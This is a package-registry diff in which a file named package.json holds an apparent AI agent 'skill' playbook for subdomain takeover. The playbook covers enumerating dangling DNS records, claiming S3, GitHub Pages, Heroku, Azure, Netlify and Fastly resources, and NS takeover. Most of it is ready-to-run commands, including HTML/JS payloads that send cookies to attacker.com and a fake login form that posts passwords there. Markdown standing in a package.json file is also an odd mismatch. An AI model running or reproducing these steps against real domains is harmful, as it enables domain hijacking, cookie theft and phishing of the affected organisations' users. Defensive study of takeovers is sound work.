rtexit-method 0.1.9 → 0.1.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json
CHANGED
|
@@ -0,0 +1,307 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-subdomain-takeover
|
|
3
|
+
description: "Subdomain takeover skill for authorized engagements. Identifying dangling CNAME records pointing to unclaimed services, takeover on GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, Shopify, and 50+ other platforms, DNS hijacking via expired domains, NS takeover for full zone control, automated scanning with Subzy and Nuclei, and impact demonstration via cookie theft and phishing. Use after subdomain enumeration to identify high-impact unclaimed subdomains."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-subdomain-takeover — Subdomain Takeover
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Subdomain takeover occurs when a subdomain has a CNAME record pointing to an external service that no longer exists or is unclaimed. An attacker claims that service, hosts malicious content under the company's subdomain, and can steal cookies, run phishing, bypass CSP, or conduct further attacks under a trusted domain.
|
|
11
|
+
|
|
12
|
+
**Impact:**
|
|
13
|
+
- Serve malicious content under `trusted-corp.com` subdomain
|
|
14
|
+
- Steal cookies scoped to `.corp.com` (if HttpOnly not set)
|
|
15
|
+
- Bypass CSP (content served from trusted origin)
|
|
16
|
+
- Send phishing emails from `mail.corp.com`
|
|
17
|
+
- Full zone control if NS record is dangling
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Discovery
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Step 1: Enumerate all subdomains (feed from rt-subdomain-enum output)
|
|
25
|
+
subfinder -d corp.com -all -silent | tee subs.txt
|
|
26
|
+
amass enum -passive -d corp.com -o subs-amass.txt
|
|
27
|
+
cat subs*.txt | sort -u > all-subs.txt
|
|
28
|
+
|
|
29
|
+
# Step 2: Check CNAME records for each subdomain
|
|
30
|
+
while read sub; do
|
|
31
|
+
cname=$(dig CNAME +short $sub)
|
|
32
|
+
if [ -n "$cname" ]; then
|
|
33
|
+
echo "$sub → $cname"
|
|
34
|
+
fi
|
|
35
|
+
done < all-subs.txt | tee cname-map.txt
|
|
36
|
+
|
|
37
|
+
# Step 3: Check if CNAME target exists / is claimed
|
|
38
|
+
while IFS=' → ' read sub cname; do
|
|
39
|
+
# Check if CNAME target resolves
|
|
40
|
+
if ! dig +short $cname | grep -q '[0-9]'; then
|
|
41
|
+
echo "[DANGLING] $sub → $cname"
|
|
42
|
+
fi
|
|
43
|
+
done < cname-map.txt
|
|
44
|
+
|
|
45
|
+
# Step 4: Check for NXDOMAIN (subdomain exists in DNS but CNAME target gone)
|
|
46
|
+
while read sub; do
|
|
47
|
+
result=$(dig +short $sub)
|
|
48
|
+
if [ -z "$result" ]; then
|
|
49
|
+
# Check if there's a CNAME that leads nowhere
|
|
50
|
+
cname=$(dig CNAME +short $sub 2>/dev/null)
|
|
51
|
+
[ -n "$cname" ] && echo "[CANDIDATE] $sub → $cname"
|
|
52
|
+
fi
|
|
53
|
+
done < all-subs.txt
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Phase 2 — Automated Scanning
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# Subzy — dedicated subdomain takeover scanner
|
|
62
|
+
go install github.com/LukaSikic/subzy@latest
|
|
63
|
+
subzy run --targets all-subs.txt
|
|
64
|
+
# Checks against 50+ fingerprints for vulnerable services
|
|
65
|
+
|
|
66
|
+
# Nuclei — subdomain takeover templates
|
|
67
|
+
nuclei -l all-subs.txt -t ~/nuclei-templates/http/takeovers/
|
|
68
|
+
# Covers: GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, etc.
|
|
69
|
+
|
|
70
|
+
# subjack
|
|
71
|
+
go install github.com/haccer/subjack@latest
|
|
72
|
+
subjack -w all-subs.txt -t 100 -timeout 30 -o results.txt -ssl
|
|
73
|
+
|
|
74
|
+
# Can-I-Take-Over-XYZ (reference list)
|
|
75
|
+
# https://github.com/EdOverflow/can-i-take-over-xyz
|
|
76
|
+
# Lists fingerprints and claimable status per service
|
|
77
|
+
|
|
78
|
+
# Manual check: visit subdomains with Burp + look for:
|
|
79
|
+
# "NoSuchBucket" = S3 takeover
|
|
80
|
+
# "There is no app here" = Heroku takeover
|
|
81
|
+
# "404 Not Found" on GitHub Pages
|
|
82
|
+
# "Fastly error: 404 Unknown" = Fastly takeover
|
|
83
|
+
# "azure websites" errors = Azure App Service
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 3 — Service-Specific Takeovers
|
|
89
|
+
|
|
90
|
+
### GitHub Pages
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# Fingerprint: "There isn't a GitHub Pages site here"
|
|
94
|
+
# Check: dig CNAME sub.corp.com → corp-org.github.io
|
|
95
|
+
|
|
96
|
+
# Takeover:
|
|
97
|
+
# 1. Create GitHub account / org matching the CNAME
|
|
98
|
+
# 2. Create repo: corp-org/corp-org.github.io
|
|
99
|
+
# 3. Enable GitHub Pages
|
|
100
|
+
# 4. Add CNAME file: echo "sub.corp.com" > CNAME
|
|
101
|
+
# 5. sub.corp.com now serves your content
|
|
102
|
+
|
|
103
|
+
# Or if CNAME points to username.github.io:
|
|
104
|
+
# 1. Register GitHub username: corp-username
|
|
105
|
+
# 2. Create repo: corp-username.github.io
|
|
106
|
+
# 3. sub.corp.com → your repo
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### AWS S3
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Fingerprint: "NoSuchBucket" or "The specified bucket does not exist"
|
|
113
|
+
# Check: dig CNAME sub.corp.com → sub.corp.com.s3.amazonaws.com
|
|
114
|
+
# or: sub.corp.com.s3-website-us-east-1.amazonaws.com
|
|
115
|
+
|
|
116
|
+
# Takeover:
|
|
117
|
+
aws s3 mb s3://sub.corp.com --region us-east-1
|
|
118
|
+
# Bucket name must EXACTLY match the subdomain
|
|
119
|
+
aws s3 website s3://sub.corp.com/ \
|
|
120
|
+
--index-document index.html \
|
|
121
|
+
--error-document error.html
|
|
122
|
+
|
|
123
|
+
# Upload malicious content
|
|
124
|
+
echo '<script>document.location="https://attacker.com?c="+document.cookie</script>' \
|
|
125
|
+
> index.html
|
|
126
|
+
aws s3 cp index.html s3://sub.corp.com/
|
|
127
|
+
|
|
128
|
+
# sub.corp.com now serves your page under corp.com's domain
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Heroku
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# Fingerprint: "No such app" or "herokuapps.com" CNAME
|
|
135
|
+
# CNAME: sub.corp.com → random-name-12345.herokudns.com
|
|
136
|
+
|
|
137
|
+
# Takeover:
|
|
138
|
+
heroku create random-name-12345
|
|
139
|
+
heroku domains:add sub.corp.com --app random-name-12345
|
|
140
|
+
# Deploy app to random-name-12345
|
|
141
|
+
# sub.corp.com → your Heroku app
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### Azure App Service
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# Fingerprint: "Microsoft Azure App Service" 404
|
|
148
|
+
# CNAME: sub.corp.com → corp-app.azurewebsites.net
|
|
149
|
+
|
|
150
|
+
# Takeover:
|
|
151
|
+
az webapp create --name corp-app \
|
|
152
|
+
--resource-group myRG \
|
|
153
|
+
--plan myPlan
|
|
154
|
+
az webapp config hostname add \
|
|
155
|
+
--webapp-name corp-app \
|
|
156
|
+
--resource-group myRG \
|
|
157
|
+
--hostname sub.corp.com
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### Netlify
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Fingerprint: "Not found - Request ID"
|
|
164
|
+
# CNAME: sub.corp.com → corp.netlify.app
|
|
165
|
+
|
|
166
|
+
# Takeover:
|
|
167
|
+
# 1. Create Netlify site → site settings → domain management
|
|
168
|
+
# 2. Add custom domain: sub.corp.com
|
|
169
|
+
# 3. Deploy malicious site
|
|
170
|
+
netlify deploy --prod
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### Fastly
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Fingerprint: "Fastly error: 404 Unfound" or "Unknown domain"
|
|
177
|
+
# CNAME: sub.corp.com → something.fastly.net
|
|
178
|
+
|
|
179
|
+
# Takeover:
|
|
180
|
+
# Create Fastly service → add domain: sub.corp.com
|
|
181
|
+
# sub.corp.com now served by your Fastly service
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 4 — NS Record Takeover (Critical)
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# If subdomain.corp.com has NS records pointing to expired/unclaimed nameservers
|
|
190
|
+
# → attacker claims the nameservers → full DNS control for that subdomain
|
|
191
|
+
|
|
192
|
+
# Check NS records
|
|
193
|
+
dig NS sub.corp.com
|
|
194
|
+
# ns1.expired-dns-provider.com
|
|
195
|
+
# ns2.expired-dns-provider.com
|
|
196
|
+
|
|
197
|
+
# Check if provider is still active
|
|
198
|
+
whois expired-dns-provider.com | grep -i "expir"
|
|
199
|
+
# If expired/available → register it → control all DNS for sub.corp.com
|
|
200
|
+
|
|
201
|
+
# Once you control NS:
|
|
202
|
+
# → Create A records → point to attacker server
|
|
203
|
+
# → Create MX records → intercept email to @sub.corp.com
|
|
204
|
+
# → Create any record → full subdomain zone control
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## Phase 5 — Impact Demonstration
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Cookie theft (demonstrate scope)
|
|
213
|
+
# If corp.com sets cookies with Domain=.corp.com:
|
|
214
|
+
# sub.corp.com can read those cookies!
|
|
215
|
+
|
|
216
|
+
# Host on claimed subdomain:
|
|
217
|
+
cat > index.html << 'EOF'
|
|
218
|
+
<html>
|
|
219
|
+
<script>
|
|
220
|
+
// Steal .corp.com scoped cookies
|
|
221
|
+
var stolen = document.cookie;
|
|
222
|
+
fetch('https://attacker.com/log?cookies=' + encodeURIComponent(stolen));
|
|
223
|
+
|
|
224
|
+
// Demonstrate phishing capability
|
|
225
|
+
document.write('<h1>Corp.com Login Portal</h1>');
|
|
226
|
+
document.write('<form action="https://attacker.com/collect" method="POST">');
|
|
227
|
+
document.write('<input name="user" placeholder="Username"><br>');
|
|
228
|
+
document.write('<input name="pass" type="password" placeholder="Password"><br>');
|
|
229
|
+
document.write('<button>Login</button></form>');
|
|
230
|
+
</script>
|
|
231
|
+
</html>
|
|
232
|
+
EOF
|
|
233
|
+
|
|
234
|
+
# CSP bypass: if corp.com has CSP: script-src *.corp.com
|
|
235
|
+
# Loading scripts from sub.corp.com bypasses CSP completely
|
|
236
|
+
# <script src="https://sub.corp.com/evil.js"></script> ← allowed by CSP!
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Phase 6 — Evidence Documentation
|
|
242
|
+
|
|
243
|
+
```bash
|
|
244
|
+
# Screenshot the takeover proof
|
|
245
|
+
# Show: sub.corp.com serving your content
|
|
246
|
+
|
|
247
|
+
# curl to confirm
|
|
248
|
+
curl -I https://sub.corp.com
|
|
249
|
+
# Server: your-server
|
|
250
|
+
# Content shows attacker-controlled content
|
|
251
|
+
|
|
252
|
+
# Document CNAME chain
|
|
253
|
+
dig CNAME +trace sub.corp.com
|
|
254
|
+
|
|
255
|
+
# Finding template:
|
|
256
|
+
# Title: Subdomain Takeover — sub.corp.com
|
|
257
|
+
# Severity: HIGH (cookie theft possible) / MEDIUM (content injection)
|
|
258
|
+
# CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) if cookie theft
|
|
259
|
+
# Evidence: screenshot + curl output + CNAME chain
|
|
260
|
+
# Impact: phishing under trusted domain, cookie theft, CSP bypass
|
|
261
|
+
# Remediation: remove dangling DNS record OR re-claim the service
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Most Vulnerable Services (Quick Reference)
|
|
267
|
+
|
|
268
|
+
```
|
|
269
|
+
Service Fingerprint Claimable
|
|
270
|
+
─────────────────────────────────────────────────────────────────────────
|
|
271
|
+
GitHub Pages "There isn't a GitHub Pages site here" ✅ Yes
|
|
272
|
+
AWS S3 "NoSuchBucket" ✅ Yes
|
|
273
|
+
Heroku "No such app" ✅ Yes
|
|
274
|
+
Azure App Service Azure 404 page ✅ Yes
|
|
275
|
+
Netlify "Not found - Request ID" ✅ Yes
|
|
276
|
+
Fastly "Fastly error: 404 Unfound" ✅ Yes
|
|
277
|
+
Shopify "Sorry, this shop is currently..." ✅ Yes
|
|
278
|
+
Tumblr "There's nothing here" ✅ Yes
|
|
279
|
+
WordPress.com "Do you want to register..." ✅ Yes
|
|
280
|
+
Ghost "The thing you were looking for..." ✅ Yes
|
|
281
|
+
Surge.sh "project not found" ✅ Yes
|
|
282
|
+
Bitbucket "Repository not found" ✅ Yes
|
|
283
|
+
Zendesk "Help Center Closed" ✅ Yes
|
|
284
|
+
Freshdesk "We could not find what..." ⚠️ Limited
|
|
285
|
+
Desk.com (Salesforce) "Please try again" ✅ Yes
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## Skill Levels
|
|
291
|
+
|
|
292
|
+
**BEGINNER:** subfinder + subzy automated scan → identify candidates → manual verification
|
|
293
|
+
|
|
294
|
+
**INTERMEDIATE:** GitHub Pages / S3 takeover PoC → cookie theft demonstration
|
|
295
|
+
|
|
296
|
+
**ADVANCED:** NS takeover → full zone control → MX takeover for email interception
|
|
297
|
+
|
|
298
|
+
**EXPERT:** Chained attack: takeover → CSP bypass → XSS on main domain → account takeover
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## References
|
|
303
|
+
|
|
304
|
+
- Can-I-Take-Over-XYZ: https://github.com/EdOverflow/can-i-take-over-xyz
|
|
305
|
+
- Subzy: https://github.com/LukaSikic/subzy
|
|
306
|
+
- Nuclei takeover templates: https://github.com/projectdiscovery/nuclei-templates
|
|
307
|
+
- MITRE T1584.001: https://attack.mitre.org/techniques/T1584/001/
|